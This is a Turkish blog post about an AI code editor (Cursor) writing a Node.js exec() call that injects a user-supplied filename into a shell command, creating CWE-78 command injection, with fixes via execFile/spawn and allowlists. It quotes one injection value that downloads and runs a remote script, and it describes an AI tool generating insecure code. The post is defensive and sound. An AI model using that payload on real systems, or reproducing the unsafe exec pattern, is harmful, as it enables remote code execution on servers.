« Tüm yayınlar

Cursor'ın Kod Yazarken Düştüğü Komut Enjeksiyonu Tuzağı (CWE-78)

AI kod editörleri exec() ile shell komutu üretirken kullanıcı girdisini doğrudan template string'e ekleyip CWE-78 komut enjeksiyonu açığı yaratıyor. Çözüm execFile/spawn.

Bir geliştirici, Cursor'a resim küçültme (thumbnail) endpoint'i yazdırdığında, üretilen kodun Node.js'in exec() fonksiyonunu bir template string ile kullandığını ve kullanıcı tarafından kontrol edilebilen dosya adı değişkenini doğrudan bu string'e eklediğini fark etti. Sonuç: dosya adı alanına noktalı virgülle ayrılmış bir shell komutu (örneğin `; curl evil.sh | sh`) enjekte ederek sunucuda keyfi komut çalıştırma imkanı, yani klasik CWE-78 OS komut enjeksiyonu açığı.

Bu davranışın nedeni kötü niyet değil, örüntü eşleştirme. exec() ile backtick string kullanımı Node.js eğitimlerinde, StackOverflow cevaplarında ve blog yazılarında en yaygın shell kullanım şekli; çoğu örnekte komut sabit olduğu için sorun çıkmıyor. Model kodun şeklini öğreniyor ama bağlamı öğrenmiyor; değişken dinamikleştiğinde aynı kalıbı uyguluyor. Python'da os.system() ile f-string kullanımı da aynı hataya düşüyor.

Çözüm, shell'i devre dışı bırakmak: execFile/spawn (Node) veya subprocess.run() with shell=False (Python) komutu ve argümanları ayrı bir dizi olarak alır, böylece hiçbir shell metakarakteri (;, |, $()) yorumlanmaz. Buna ek olarak dosya adı gibi girdilere basit bir allowlist eklemek savunmayı güçlendirir. Yazar, bu tür hataları üretildiği anda yakalamak için Cursor ve Claude Code'a bağlanan bir MCP aracı (SafeWeave) kullandığını, ancak semgrep tabanlı bir pre-commit hook'un da benzer sonuçlar verebileceğini belirtiyor; önemli olan hatayı kod hâlâ taze aklınızdayken yakalamak.

Mühendisler için çıkarım net: AI destekli kod üretiminde shell komutu içeren fonksiyonlar (exec, os.system) otomatik güvenlik incelemesine tabi tutulmalı, özellikle kullanıcı girdisi bu komutlara dokunduğunda varsayılan olarak güvensiz kabul edilmeli.